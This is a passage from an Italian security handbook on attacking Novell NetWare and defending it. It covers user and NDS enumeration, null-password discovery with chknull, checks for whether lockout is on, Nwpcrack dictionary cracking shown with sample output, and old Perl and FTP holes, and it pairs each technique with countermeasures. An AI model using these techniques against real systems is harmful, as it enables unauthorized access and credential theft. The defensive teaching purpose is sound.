Il nostro hacker è a conoscenza del fatto che gli utenti molto spesso sono anche definiti con le stesse credenziali su altri sistemi e che molto spesso per semplicità utilizzano la stessa password.
Di conseguenza un pirata tenterà frequentemente di utilizzare i nomi utente e le password scoperti per cercare di effettuare un'intrusione in altri sistemi, per esempio all'interno di server Novell.
Per ricercare l'esistenza di utenti all'interno di un sistema, digitate semplicemente `finger <nomeutente>`.
Dovete comunque essere cauti nell'utilizzo di `finger`, in quanto questo programma potrebbe essere molto "rumoroso".
Non siamo riusciti a capire bene perché, ma quando ricercate con quest'ultimo un utente che è correntemente connesso al sistema, in alcuni casi sulla postazione dell'utente appare un messaggio di popup di NetWare (una semplice finestra di dialogo) priva di testo.

bindery

Conoscere i nomi degli utenti definiti in un server è sicuramente di grande aiuto, ma un ipotetico hacker dovrà avere a disposizione maggiori informazioni prima di sottoporre ciascuno di essi a un attacco.
Per esempio, potrebbe essere interessante sapere quali utenti appartengono al gruppo Admins (che supponiamo sia il gruppo degli amministratori di sistema).
Il programma NetWare Bindery Listing Tool, versione 1.16, distribuito da Manth-Brownell, è in grado di mostrare praticamente qualunque oggetto presente nel bindery (Figura 6.1).
`bindery` consente anche di interrogare il server per ottenere informazioni relative a un singolo utente o gruppo.
Per esempio potete lanciare il comando `bindery admins` per scoprire quali utenti sono stati assegnati al gruppo Admins.
Inoltre il parametro `/B` può essere molto utile quando desiderate visualizzare una singola riga per ciascun oggetto.
Questo vi potrebbe servire nel momento in cui cercate di visualizzare contemporaneamente un grande numero di oggetti.

bindin

Come `bindery`, anche il programma `bindin` consente di visualizzare oggetti come file server, utenti e gruppi; `bindin`, però, è fornito di un'interfaccia più organizzata. Anche `bindin` consente di visualizzare i membri dei vari gruppi, in modo da poter

```
C:\WINNT\System32\cmd.exe

B0100001 ESTEIN                                                1 USER
         HOME_DIRECTORY
         GROUPS_I'M_IN
            HUMAN_RESOURCES
         MISC_LOGIN_INFO
         ACL
         CN
         OBJECT_CLASS
         PUBLIC_KEY
         SURNAME
         LANGUAGE
         TRUSTEE ASSIGNMENTS
            (INSUFFICIENT RIGHTS)
         LOGIN SCRIPT
            OPEN ERROR: NO SUCH FILE OR DIRECTORY

D0100003 ADMINS                                                2 GROUP
         GROUP_MEMBERS
            JSYMOENS
            DEOANE
         ACL
         CN
         OBJECT_CLASS
         REVISION
         EQUAL_TO_ME
            JSYMOENS
            DEOANE
         TRUSTEE ASSIGNMENTS
            (INSUFFICIENT RIGHTS)

E010000D HSS_____________________________¢≤Ç0E@@@@@DàPJ        278 UNKNOWN
         NET_ADDRESS
            36FCC65D:000000000001
         TRUSTEE ASSIGNMENTS
            (INSUFFICIENT RIGHTS)

33 objects found

C:\novell>
```

Figura 6.1

bindery fornisce un'enorme quantità di informazioni, inclusi gli appartenenti ai singoli gruppi, come per esempio il gruppo Admins.

attaccare con più facilità i nomi utente presenti nei gruppi MIS, IT, ADMIN, GENERALADMIN, LOCALADMIN ecc.

- `bindin u` visualizza tutti gli utenti presenti in un server.
- `bindin g` visualizza tutti i gruppi e la loro composizione.

nlist

`nlist` ha preso il posto del programma di utilità già presente in NetWare 3.*x*, chiamato `slist`, che è in grado di visualizzare tutti i server NetWare presenti sulla rete; tuttavia `nlist` può fare molto di più. Con `nlist`, infatti, è possibile visualizzare utenti, gruppi, server, code e volumi presenti nel sistema. È il programma che viene utilizzato principalmente per visualizzare gli utenti su un server NetWare e i gruppi di cui essi fanno parte.

- `nlist user /d` visualizza gli utenti, definiti nel server, con il formato predefinito.
- `nlist groups /d` visualizza i gruppi definiti nel server, nonché i nomi degli utenti che vi sono inclusi.
- `nlist server /d` visualizza i server NetWare definiti sulla rete.

- `nlist /ot=* /dyn /d` visualizza tutte le informazioni relative agli oggetti, come viene mostrato nella figura seguente.

```
C:\WINNT\System32\cmd.exe - nlist /ot=* /dyn /d
                Value Type: Item
                Longevity: Static
                Read Security: Any
                Write Security: Supervisor
Value:
0000: 53 63 61 6D 62 72 61 79  00 00 00 00 00 00 00 00 Scambray........
0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................

        Property Name: PHONE_NUMBER
                Value Type: Item
                Longevity: Static
                Read Security: Any
                Write Security: Supervisor
Value:
0000: 36 35 30 2D 35 35 35 2D  31 32 31 32 00 00 00 00 650-555-1212....
0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
>>> Enter = More   C = Continuous   Esc = Cancel_
```

`nlist` è molto utile quando è necessario recuperare le diverse proprietà degli oggetti, come per esempio il titolo, il nome reale, il numero di telefono ecc.

cx

Nella cartella SYS:PUBLIC dell'installazione di NetWare 4.*x* è possibile trovare un piccolo programma di utilità, chiamato `cx` (*Change Context*). `cx` è in grado di visualizzare le informazioni dell'albero NDS o di qualunque parte di esso. Questo strumento è particolarmente utile se avete la necessità di ricercare oggetti specifici all'interno dell'albero stesso. Per esempio, quando un pirata scopre la password relativa all'utente ECULP in un particolare server, può utilizzare `cx` per effettuare la scansione dell'intero albero NDS e scoprire quali altri server siano accessibili dallo stesso utente. Di seguito potete vedere un piccolo esempio di che cosa è possibile fare con `cx`. Per modificare il vostro contesto corrente e trasformarlo in root, digitate la stringa seguente:

```
cx /r
```

Per modificare il vostro contesto corrente e risalire di un livello nell'albero, digitate la stringa seguente:

```
cx .
```

Per specificare un contesto specifico digitatene il nome:

```
cx .engineering.newyork.hss
```

Non sottovalutate l'importanza del punto davanti al nome del file, nell'esempio appena visto: specifica che il percorso è relativo alla directory di root.

Per visualizzare tutti gli oggetti contenitore all'interno del contesto corrente o di livello inferiore, digitate la stringa seguente:

```
cx /t
```

Per visualizzare invece tutti gli oggetti all'interno del contesto corrente o di livello inferiore, digitate la stringa seguente:

```
cx /t /a
```

Per visualizzare tutti gli oggetti di un contesto specifico, digitate la stringa seguente:

```
cx .engineering.newyork.hss /t /a
```

Potete anche visualizzare tutti gli oggetti a partire da root:

```
cx /t /a /r
```

Se desiderate avere una mappa dell'intero albero NDS, dovete semplicemente utilizzare il comando `cx /t /a /r` per enumerare ogni contenitore, come mostrato nella Figura 6.2.

```
C:\WINNT\System32\cmd.exe
*** Directory Services Mapping ***

[Root]
  └HSS
     ├SECRET
     ├Admin
     ├SECRET_SYS
     ├SECRET_NW411
     ├jscambray
     ├Custodial Services
     ├Accounting
     ├Research & Development
     ├Human Resources
     ├Marketing
     ├Sales
     ├Engineering
     ├smcclure
     ├jsymoens
     ├MIS
     ├gkurtz
     ├mdolphin
     ├deoane
     ├jsmith
     ├rpaul
     ├jhanley
     ├mmeadows
     ├abirchard
     ├ehammond
     ├jbenson
     ├eculp
     ├jhomey
     ├tgoody
     ├jgoldberg
     ├estein
     ├Admins
     ├NewYork
     │  └MIS
     ├LosAngeles
     │  └MIS
     └SanFrancisco
        └MIS
C:\novell\public>
```

Figura 6.2

Con cx disponibile l'hacker potrà conoscere qualunque aspetto o configurazione dell'infrastruttura di NetWare.

Se riscontrate qualche problema nel funzionamento del comando `cx` *(per esempio vi viene restituito l'errore CX-4.20-240), dovrete probabilmente utilizzare il browser On-Site, che analizzeremo nel prossimo paragrafo. L'errore a volte può capitare, soprattutto se la connessione alla rete NetWare avviene attraverso la linea telefonica. Gli errori ricevuti sono del tipo seguente:*

```
CX-4.20-240: The context you want to change to does not exist.
You tried to change to:
ACME
Your context will be left unchanged as:
[Root]
```

On-Site Admin

Come avete già visto nel Capitolo 3, Novell consente a qualunque utente di accedere all'albero NDS in modalità predefinita. Le informazioni che possono essere raccolte dalla visualizzazione dell'albero sono di enorme importanza per qualunque hacker: in questo modo l'hacker si può fare un'idea della struttura grafica della rete, comprese le OU (*Organizational Units*, unità organizzative), i server, gli utenti, i gruppi, le stampanti ecc.

On-Site consente di ottenere la visualizzazione grafica degli oggetti contenuti nell'albero NDS, una sorta di equivalente grafico delle informazioni fornite da `cx`. Il programma visualizzerà l'alberatura di ogni percorso, contenitore e oggetto, come mostrato nella Figura 6.3.

Figura 6.3

Per visualizzare l'alberatura NDS disponibile con On-Site, selezionate semplicemente il pulsante Tree nella barra dove si trovano i pulsanti. Non dimenticatevi che sarà necessario creare un attachment iniziale al server prima di poter scorrere l'alberatura.

Contromisure alla scansione dell'alberatura NDS

Sono disponibili due diverse tipologie di difesa, per correggere l'impostazione predefinita di accesso pubblico a NDS in NetWare 4.*x* e versioni successive. La prima è stata illustrata nel Capitolo 3. Quando la possibilità di effettuare ricerche viene limitata al solo oggetto pubblico, verificate che ciò non abbia effetto sulla capacità dell'utente di accedere alla rete, controllando in particolar modo l'assegnazione dei nomi dei drive. Molti utenti ricevono il proprio codice di mappatura sul server, all'interno degli script di login preparati dagli amministratori: poiché tali codici utilizzano i nomi dei server, per localizzare il server all'interno dell'albero NDS si utilizza il protocollo SLP (*Service Location Protocol*). Per eliminare la possibilità di effettuare ricerche al di fuori dell'oggetto pubblico potete modificare gli script di login in modo che in essi figurino gli indirizzi IP dei server, anziché i loro nomi, oppure potete impostare manualmente le entry del DNS relative ai server presenti in rete.

Aprire porte non bloccate

Una volta che gli hacker hanno ottenuto le informazioni relative alla vostra rete, cominceranno ad abbassare qualche maniglia alla ricerca di porte aperte. Il miglior modo per farlo consiste nel ricercare qualche password: tutti i nomi utente sono a disposizione, per cui è sufficiente indovinare qualche password e il gioco è fatto.

chknull

Diffusione:	*9*
Semplicità:	*10*
Impatto:	*5*
Fattore di rischio:	*8*

`chknull` è un programma di utilità che riveste la massima importanza per l'hacker (o per l'amministratore) che desidera introdursi in una rete NetWare. Questo strumento, che si basa sull'accesso al bindery, è in grado di funzionare sia sui server NetWare 3.*x* sia sui server NetWare 4.*x*, se il contesto bindery è abilitato. Questo programma è inestimabile per gli hacker e gli amministratori, poiché è in grado di stabilire se esistono nomi utente che hanno una password nulla o di facile individuazione. Ricordate che NetWare non richiede obbligatoriamente la scelta della password quando viene creato un utente (a meno che non venga utilizzato un template utente). Il risultato è che di solito vengono creati molti utenti cui è assegnata una password vuota; questi nomi utente a volte vengono dimenticati e forniscono porte di sicuro accesso ai sistemi NetWare per eventuali hacker. Ad aggravare il problema c'è il fatto che molti utenti prediligono la praticità alla sicurezza e scelgono password di facile memorizzazione. Il fenomeno è amplificato dal fatto che non vengono utilizzate politiche di sicurezza adeguate e non sono svolte azioni di sensibilizzazione nei confronti degli utenti.
Potete utilizzare `chknull` per individuare l'esistenza di password nulle o di facile individuazione sulla rete NetWare:

```
Usage: chknull [-p] [-n] [-v] [wordlist...]
-p : check username as password
-n : don't check NULL password
```

```
-v : verbose output
also checks words specified on the command line as password
```

La caratteristica di `chknull` è che ciascuna ricerca di password nulla non viene registrata nel file di log come un tentativo di accesso al sistema fallito, cosa che invece avverrebbe se si tentasse l'autenticazione manuale.
`chknull` può ricercare password vuote o uguali al nome utente con grande rapidità. Come potete vedere nella figura seguente, esistono nel nostro esempio numerosi utenti non associati a una password. Esiste anche un utente, JBENSON, la cui password è identica al nome utente (sempre JBENSON): in questo esempio il sistema NetWare non è stato configurato nel migliore dei modi.

```
C:\WINNT\System32\cmd.exe
C:\novell>chknull -p
fb000001  0001  JSYMOENS HAS a NULL password
00010001  0001  JSMITH HAS a NULL password
01010001  0001  RPAUL HAS a NULL password
02010001  0001  JHANLEY HAS a NULL password
03010001  0001  MMEADOWS HAS a NULL password
05010001  0001  EHAMMOND HAS a NULL password
FOUND 06010001  0001  JBENSON : JBENSON
07010001  0001  ECULP HAS a NULL password
08010001  0001  JHOMEY HAS a NULL password
09010001  0001  TGOODY HAS a NULL password
0a010001  0001  JGOLDBERG HAS a NULL password
0b010001  0001  ESTEIN HAS a NULL password

C:\novell>
```

L'ultima opzione di `chknull`, che consente di specificare sulla linea di comando un elenco di password, non è molto affidabile e non dovrebbe essere utilizzata.

Se si presentano problemi nell'utilizzo di `chknull`*, come l'errore di mancato accesso al server, verificate l'impostazione* Set Primary. *Potete eseguire questa verifica nella finestra* NetWare Connections.

Contromisure a chknull

Le contromisure adottabili per impedire il funzionamento di `chknull` sono semplici, ma, in base alla tipologia della vostra installazione, potrebbero essere difficili da applicare. Per impedire il funzionamento di `chknull`, è possibile utilizzare una qualsiasi delle tecniche elencate di seguito.

- Rimuovete il contesto bindery dai vostri server NetWare. Modificate il file `autoexec.ncf` e rimuovete la riga `SET BINDERY`. Ricordate che questa modifica può impedire ai vecchi client NETX e VLM di connettersi alla rete: queste tipologie di client basano sul bindery la loro funzionalità di connessione.
- Stabilite e rafforzate la politica aziendale di selezione delle password.
- Modificate e utilizzate un template `USER_TEMPLATE` in modo da costringere la scelta di una password di almeno sei caratteri.
- Rimuovete la possibilità di consultare l'albero NDS (si veda il Capitolo 3).
- Attivate la funzionalità *Intrusion Detection* (rilevazione delle intrusioni). Fate clic con il pulsante destro su ciascuna delle *Organizational Unit* e adottate la procedura elencata di seguito.
  1. Selezionate *Details*.
  2. Selezionate la scheda *Intrusion Detection* e attivate le caselle di controllo *Detect Intruders* e *Lock Account After Detection*. Modificate i parame-

tri di riscontro delle intrusioni per ottenere quelle specificate nel paragrafo "Contromisure a Nwpcrack", nel prosieguo del capitolo.

Funzione Undo di NWGINA

Diffusione:	*1*
Semplicità:	*7*
Impatto:	*9*
Fattore di rischio:	*6*

L'ingegneria sociale riveste un ruolo fondamentale in ogni attacco finalizzato all'ottenimento dell'accesso fisico alla workstation. Il programma NWGIA (*NetWare Graphical Identification and Authentication*) di NetWare si occupa di validare le informazioni di login dell'utente prima di avviare uno dei sistemi operativi Windows NT/2000/XP: durante l'installazione del Novell Client32, tale programma va a sovrascrivere la libreria dinamica standard GINA.DLL di Microsoft. Una caratteristica tipica, comune alle finestre di dialogo e ai campi di testo delle interfacce grafiche, è la funzionalità "Undo" (Annulla), che permette di annullare l'ultima operazione effettuata. Nelle finestre di dialogo delle GUI dei sistemi Win32 basati sulle API, la pressione della combinazione di tasti CTRL-Z all'interno di un campo di testo annulla la modifica appena effettuata e, anche nel caso in cui fosse stato cancellato l'intero contenuto del campo, ripristina il suo precedente contenuto.
È possibile, anche se poco probabile, che un hacker riesca a distrarre un utente proprio nel momento in cui sta accedendo al server, quando ha già digitato la password ma subito prima che abbia premuto il tasto *INVIO*, per esempio facendolo chiamare da qualcuno in un'altra stanza. A questo punto, se l'hacker ha un po' di fortuna, l'utente cancellerà la propria password digitando CTRL-Z e lascerà la propria postazione: a questo punto la combinazione CTRL-Z riporterà nel campo di testo la password dell'utente, permettendo all'hacker l'accesso al sistema con l'identità del malcapitato utente. Come si è già detto: è improbabile, ma possibile.

Contromisura allo sfruttamento della funzione Undo di NWGINA

L'unica soluzione immediata consiste nel ripristinare prontamente la vecchia GINA.DLL di Microsoft, che (correttamente) vieta l'utilizzo della combinazione di tasti CTRL-Z per annullare gli input di testo. Novell ha già preparato la patch per questo difetto del programma.

Scansioni dopo l'autenticazione

Adesso avete scoperto quante informazioni possono essere estratte dai vostri server. Vi sentite già agitati? Dopo aver autenticato il suo accesso, il nostro hacker è in grado di ottenere altre informazioni aggiuntive dai sistemi.
Una volta raccolta una collezione di nomi utente e di password associate utilizzando `chknull`, l'hacker tenterà di autenticare il suo accesso al sistema con il programma DOS login.exe, On-Site, oppure con il programma di login Client32. Una volta autenticato dal sistema, sarà in grado di ottenere altre informazioni, utilizzando il

programma On-Site già presentato e due nuovi programmi di utilità: `userlist` e NDS Snoop.

userlist /a

Diffusione:	*9*
Semplicità:	*10*
Impatto:	*4*
Fattore di rischio:	*8*

Il programma `userlist` non è in grado di funzionare se il client è connesso con un semplice attachment. L'utente, infatti, deve prima utilizzare un nome e una password validi per farsi riconoscere dal sistema (magari ottenuti con `chknull`). In seguito `userlist`, mostrato nella figura seguente, è simile a On-Site ma dispone di un'interfaccia a riga di comando che gli consente di essere utilizzato all'interno di uno script.

```
C:\WINNT\System32\cmd.exe
C:\novell>userlist /a

User Information for Server SECRET
Connection  User Name        Network    Node Address   Login Time
----------  ---------------  --------   ------------   ------------------
     1        SECRET.HSS      [36FCC65D] [           1]  4-04-1999  2:59 pm
     2      * GKURTZ          [221E6E0F] [    861CD947]  4-04-1999  4:44 pm
     3        SECRET.HSS      [36FCC65D] [           1]  4-03-1999  1:59 pm
     4        ADMIN           [A66C5BB6] [ 60089A89D4]  4-03-1999  9:04 am
     5        ADMIN           [A66C5BB6] [ 60089A89D4]  4-03-1999  9:04 am

C:\novell>
```

Le informazioni presentate da `userlist` (il nome utente, l'indirizzo di rete e di nodo, il tempo di connessione) sono preziosissime per i successivi tentativi di accesso alla rete.

On-Site Admin

Dopo esservi autenticati con successo a un server NetWare, potete utilizzare On-Site per visualizzare tutte le connessioni in corso. Selezionate semplicemente il server desiderato con il cursore del mouse e fate clic sul pulsante *Analyze*. Otterrete tutte le informazioni di base relative ai volumi e alle connessioni attive, come mostrato nella Figura 6.4.
Dopo esservi autenticati, On-Site consente di visualizzare tutte le connessioni NetWare su qualunque server accessibile alla rete. Queste informazioni sono molto importanti e aiuteranno l'intruso a ottenere l'accesso come amministratore di sistema, come vedremo in seguito.

NDS Snoop

Con NDS Snoop potete andare più o meno lontano, secondo che lo sappiate usare al meglio o meno. Una volta autenticati, potete utilizzare questa applicazione per visualizzare in modalità grafica tutti gli oggetti e le relative proprietà (in modo simile al comando `nlist /ot=* /dyn /d` visto in precedenza). Vengono anche incluse le

Figura 6.4
L'informazione di connessione offerta con On-Site risulterà utile per accedere ad Admin.

preziose informazioni *Equivalent to Me* che indicano gli utenti con autorizzazioni amministrative.
Nella Figura 6.5 potete osservare la finestra di dialogo di NDS Snoop, in grado di visualizzare informazioni vitali dell'alberatura NDS, che include *Last Login Time* (ultima ora di accesso al sistema) e *Equivalent to Me* (l'elenco degli utenti con autorizzazioni di amministrazione), una vera manna per gli hacker.

Rilevazione di Intruder Lockout

Diffusione:	*6*
Semplicità:	*9*
Impatto:	*6*
Fattore di rischio:	*7*

Intruder Lockout (blocco degli intrusi) è una funzionalità di NetWare che consente il congelamento temporaneo dei nomi utente che tentano di autenticarsi senza successo per un determinato numero di volte. Essa, comunque, non è attiva in modalità predefinita.
Questa funzionalità di NetWare è di grandissima importanza nel prevenire la possibilità di accessi indesiderati e dovrebbe essere sempre in funzione. Quando attivate il blocco degli utenti, come mostrato nella Figura 6.6, assicuratevi di modificare l'impostazione per tutti gli oggetti contenitore che svolgono le funzioni di autenticazione degli utenti.

Figura 6.5
Con NDS Snoop è possibile visualizzare i dettagli di ciascun oggetto, talvolta anche le informazioni su chi è equivalente a Admin.

Figura 6.6
Senza l'aiuto di Intruder Lockout non sarà mai possibile individuare chi ha invaso il vostro sistema.

Una volta che un hacker ha identificato un nome utente specifico per eseguire l'attacco, cercherà di stabilire se è attiva la funzionalità di blocco dell'utente. Se così avviene, i tentativi di accesso resteranno, per così dire, nei limiti di non intercettazione radar. Sarete sorpresi nello scoprire quanti amministratori di sistema non utilizzano la funzionalità Intruder Lockout, per mancanza di informazioni, per sottovalutazione dei rischi o, semplicemente, perché ci possono essere molti altri impegni riguardanti l'amministrazione. Di seguito viene illustrata una tecnica che risulterà utile per scoprire se è stata attivata questa funzionalità.
Con la finestra di autenticazione Client32, cercate ripetutamente di eseguire il login utilizzando un nome utente valido. È molto probabile che utilizzerete la password errata. Il messaggio di errore sarà il seguente.

NetWare Security Message

The system could not log you into the network.

Make sure your name and connection information are correct, then type your password again.

OK

Saprete che il nome utente è stato bloccato quando il messaggio di errore, che vedrete comparire, sarà uguale a quello mostrato nella figura seguente.

NetWare Security Message

You have encountered an unexpected login failure! status: 0x89C5

OK

La console di sistema con molta probabilità visualizzerà il messaggio seguente:

```
4-08-99   4:29:28 pm:     DS-5.73-32
     Intruder lock-out on account estein.HSS [221E6E0F:0000861CD947]
4-08-99   4:35:19 pm:     DS-5.73-32
     Intruder lock-out on account tgoody.HSS [221E6E0F:0000861CD947]
```

Dopo circa venti tentativi di accesso falliti senza ottenere il secondo tipo di messaggio, potete essere praticamente sicuri che la funzionalità di Intruder Lockout non è stata attivata.

Contromisure per la rilevazione di Intruder Lockout

Attualmente non siamo a conoscenza di alcuna tecnica che consenta di evitare questa spiacevole funzionalità. Per quanto ne sappiamo, non è possibile modificare i messaggi di sistema predefiniti di Novell NetWare, relativi al blocco del nome utente. La precauzione migliore che potete adottare consiste nel controllare diligentemente la console del server. Assicuratevi di approfondire tutti i casi di blocco cronico di nomi utente, senza trascurare alcun fatto, per quanto irrilevante possa sembrare.

Come si diventa amministratore

Come abbiamo dimostrato in precedenza, in molti casi è quasi banale ottenere le credenziali a livello di semplice utente della rete: è sufficiente utilizzare `chknull` per stabilire a quali nomi utente è assegnata una password nulla o di semplice individuazione. Il passaggio successivo per la maggior parte degli hacker consiste nel cercare di ottenere la qualifica di utente amministratore. Esistono due metodi fondamentali che consentono di ottenere credenziali amministrative elencate di seguito:

- rubare informazioni al server (metodo tradizionale);
- attacchi di tipo NCP spoof.

Furto di informazioni

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*9*

Dopo essersi autenticati, la maggior parte degli hacker si limiterà a prendere informazioni qua e là, se non addirittura a eseguire un vero e proprio furto. È proprio così: l'hacker accederà a quanti più server possibile, alla ricerca d'informazioni e password scritte in chiaro da qualche utente pigro o sconsiderato. Questo genere di comportamento è molto più diffuso di quanto voi non pensiate.

Il furto d'informazioni da parte degli hacker (in inglese *pillaging*) è un po' come la magia nera ed è particolarmente difficile da dimostrare. Quando operate in tal senso, infatti, il consiglio migliore è andare semplicemente alla ricerca di qualunque indizio all'interno di ciascun file disponibile. Potreste trovare la password di un amministratore scritta da qualche parte o accedere alla root del volume SYS utilizzando il comando `map` nel modo seguente:

```
map n secret/sys:\
```

oppure con On-Site. Andate a vedere dentro a ciascuna directory che trovate, in particolare all'interno di quelle elencate di seguito.

- SYS:SYSTEM
- SYS:ETC
- SYS:HOME
- SYS:LOGIN
- SYS:MAIL
- SYS:PUBLIC

L'utente utilizzato per accedere al sistema potrebbe non essere autorizzato alla visualizzazione di tutte queste risorse, ma potreste anche essere fortunati. Le directory SYSTEM e ETC sono particolarmente importanti, poiché contengono la maggior parte delle informazioni di configurazione del server. Queste directory dovrebbero essere accessibili solamente agli utenti amministratori.

Contromisure al furto di informazioni

Per prevenire l'accesso alle informazioni contenute all'interno dei vostri server NetWare, potete adottare queste contromisure semplici e dirette. I suggerimenti elencati di seguito si basano su meccanismi di restrizione dell'accesso agli utenti.

- Rafforzate i limiti di accesso a volumi, directory e file da parte dei vari utenti, utilizzando `filer`.
- Rafforzate i limiti di accesso relativi a tutti gli oggetti NDS, compresi gli oggetti Organization, Organizational Units, server, utenti ecc., utilizzando Nwadamn3x.

Nwpcrack

Diffusione:	*9*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Nwpcrack è un programma che esegue il crack delle password per i sistemi NetWare 4.*x*. Questo strumento permette all'hacker di eseguire un attacco basato su un elenco di termini specifici. Nel nostro esempio abbiamo scoperto un gruppo chiamato Admins. Una volta che vi siete connessi come utente, avrete la possibilità di scoprire quali sono gli utenti equivalenti ad Admin, o semplicemente verificare quali utenti fanno parte dei gruppi di amministratori come Admins, MIS ecc. In questo modo abbiamo scoperto gli utenti DEOANE e JSIMOENS nel gruppo ADMINS: questi saranno gli utenti che cercheremo di attaccare per primi.

Avviando Nwpcrack per l'utente DEOANE, abbiamo scoperto che la sua password è stata individuata, come mostrato nella figura seguente. A questo punto avremo a disposizione i privilegi di amministratore sul server e su qualsiasi oggetto accessibile da questo stesso utente.

```
C:\WINNT\System32\cmd.exe
C:\Tools\Novell\NWPCRACK>nwpcrack deoane dict.txt

tried password EHLLO
tried password HELLO
tried password WHATEVER
tried password ROGUE
The Password for User DEOANE is ROGUE

4 Passwords Tried

C:\Tools\Novell\NWPCRACK>_
```

Non tentate di utilizzare Nwpcrack sugli amministratori di sistema se è abilitato Intruder Lockout, perché potreste bloccare l'utente. Prima di testare Nwpcrack sull'utente Admin o su un amministratore, dovreste creare una copia di backup del nome utente, da utilizzare in seguito per i tentativi d'intrusione. Questo tipo di inconveniente non è possibile all'interno di sistemi Windows NT, dal momento che l'utente Administrator di Windows NT non viene bloccato automaticamente dal sistema. Ricordiamo che per ottenere questa funzionalità è necessario utilizzare l'utility Passprop, disponibile insieme al Resource Kit di Windows NT.

Quando viene innescato il blocco dell'utente mediante l'utilizzo di Nwpcrack, appare il messaggio tried password <password> *con la stessa password ripetuta diverse volte. Questo significa che NetWare non sta più accettando i tentativi di connessione da parte di questo utente. A questo punto è necessario uscire da Nwpcrack con la combinazione di tasti Ctrl+C, visto che la console di sistema ha senza dubbio visualizzato il messaggio DS-5.73-32* Intruder lockout on account Admin.

Contromisure a Nwpcrack

Per evitare attacchi sferrati con Nwpcrack potete adottare le contromisure riportate di seguito.

- Rafforzate la politica di scelta delle password. Novell non è in grado di offrire una soluzione semplice o automatica per svolgere questa operazione. Gli amministratori dovrebbero rendere più complesse le password mediante criteri di protezione più opportuni di quelli adottati da Microsoft, che con la libreria passfilt.dll della famiglia NT ha forzato l'utilizzo di numeri e metacaratteri (come !@#$%) all'interno delle password. Alcune alternative potrebbero essere richiedere le password, specificarne il numero di caratteri e non consentirne il riutilizzo. Il modo migliore per controllare la lunghezza della password consiste nell'utilizzo di USER _TEMPLATE.
- Attivate la funzione Intruder Detection e Intruder Lockout. Selezionate il contenitore (di solito Organizational Unit) e fate clic su *Details*. Selezionate il pulsante *Intruder Lockout* e specificate le opzioni di configurazione. Consigliamo di adottare i valori elencati di seguito.

Detect Intruders (Rileva intrusioni)	**Yes**
Incorrect Login attempts (numero di tentativi di login non validi)	3
Intruder attempt reset interval (Days) (Intervallo di reset del contatore di tentativi: giorni)	14
Intruder attempt reset interval (Hours) (Intervallo di reset del contatore di tentativi: ore)	0
Intruder attempt reset interval (Minutes) (Intervallo di reset del contatore di tentativi: minuti)	0
Lock Account After Detection (Blocca l'utente al momento dell'intrusione)	**Yes**
Intruder lockout reset interval (Days) (Intervallo di reset del blocco utente: giorni)	7
Intruder lockout reset interval (Hours) (Intervallo di reset del blocco utente: ore)	0
Intruder lockout reset interval (Minutes) (Intervallo di reset del blocco utente: minuti)	0

Vulnerabilità delle applicazioni

Se parliamo in termini di protocollo TCP/IP, l'installazione standard di NetWare lascia solamente alcune porte aperte, tra cui Echo (porta 7) e Chargen (porta 19), non molto per attaccare un server con successo (a parte la possibilità di generare il Denial of Service). Quando invece attivate i servizi Web, FTP, NFS e telnet, la vostra "motocicletta" si trasformerà improvvisamente in un bolide roboante, con le seguenti porte aperte e senzienti: 53, 80, 111, 888, 893, 897 1031 e 8002.
Proprio a causa di questi nuovi servizi e dell'accresciuta flessibilità, negli anni si sono accumulate una serie di vulnerabilità che possono essere sfruttate per ottenere l'accesso non autorizzato ai sistemi.

NetWare Perl

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*8*
Fattore di rischio:	*7*

Il difetto originario è stato scoperto all'inizio del 1997, per cui se non avete un'installazione di NetWare 4.*x* molto antica e non possedete IntraNetWare, potreste evitare questo pericolo. Il problema consisteva nel fatto che l'hacker era in grado di eseguire script Perl da qualunque posizione all'interno del volume, incluse le directory o le directory d'accesso come LOGIN e MAIL.
Il rischio in questo caso è che possono essere eseguiti script Perl in grado di mostrare nel browser file importanti, come per esempio `autoexec.ncf` o `ldremote.ncf`, che in molti casi contengono la password `rconsole`.

Contromisure per NetWare Perl

La contromisura proposta per il bug NetWare Perl non rappresenta purtroppo una scelta vincente, perché consiste nel disabilitare il servizio o nell'aggiornare NetWare a una versione più recente. Le due soluzioni alternative sono elencate di seguito.

- Dalla console di sistema avviate il comando `unload perl`.
- Aggiornate il Web Server NetWare alla versione 3.0. Potete scaricare l'ultima versione disponibile dal sito `http://www.support.novell.com`.

NetWare FTP

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*8*
Fattore di rischio:	*7*

Questo difetto del servizio FTP è fortunatamente presente solo nella prima versione di IntraNetWare. La configurazione predefinita del servizio fornisce agli utenti anonimi l'autorizzazione di accesso File Scan sulla directory SYS:ETC. Questa directory

ospita il file `netinfo.cfg` e altri importanti file di configurazione. Per verificare se il vostro sistema è vulnerabile applicate la procedura elencata di seguito.

1. Con il browser Web accedete all'URL del server NetWare:

   ```
   ftp://ftp.server.com/
   ```

2. Se vi viene dato l'accesso come utente anonimo, cercate di spostarvi all'interno delle directory fino a SYS:ETC. Se riuscite a vedere i file all'interno di SYS:ETC, allora siete sicuramente vulnerabili all'attacco.

Contromisure per NetWare FTP

Le contromisure per la vulnerabilità a NetWare FTP sono simili a quelle adottate per Perl: disabilitare il servizio oppure aggiornare il software.

- Aggiornate il servizio ftpserv.nlm all'ultima versione. Potete scaricare il file dal sito `http://www.support.novell.com`.
- Disabilitate il servizio FTP.
- Rimuovete il servizio FTP utilizzando unicon.nlm.

La versione del servizio ftpserv.nlm presente in Novell NetWare 4.11 non consente l'accesso anonimo in modalità predefinita.

Buffer overflow di DHCP e FTP su NetWare

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*8*
Fattore di rischio:	*7*

